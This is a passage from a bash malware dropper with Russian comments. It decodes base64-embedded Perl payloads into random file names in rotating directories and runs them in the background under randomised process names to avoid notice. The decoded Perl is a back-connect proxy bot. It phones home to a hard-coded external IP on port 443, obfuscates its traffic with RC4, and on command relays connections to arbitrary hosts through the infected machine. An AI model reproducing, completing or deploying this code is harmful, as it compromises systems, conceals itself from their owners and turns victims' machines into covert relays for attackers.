CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #3 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #3 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 4 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ 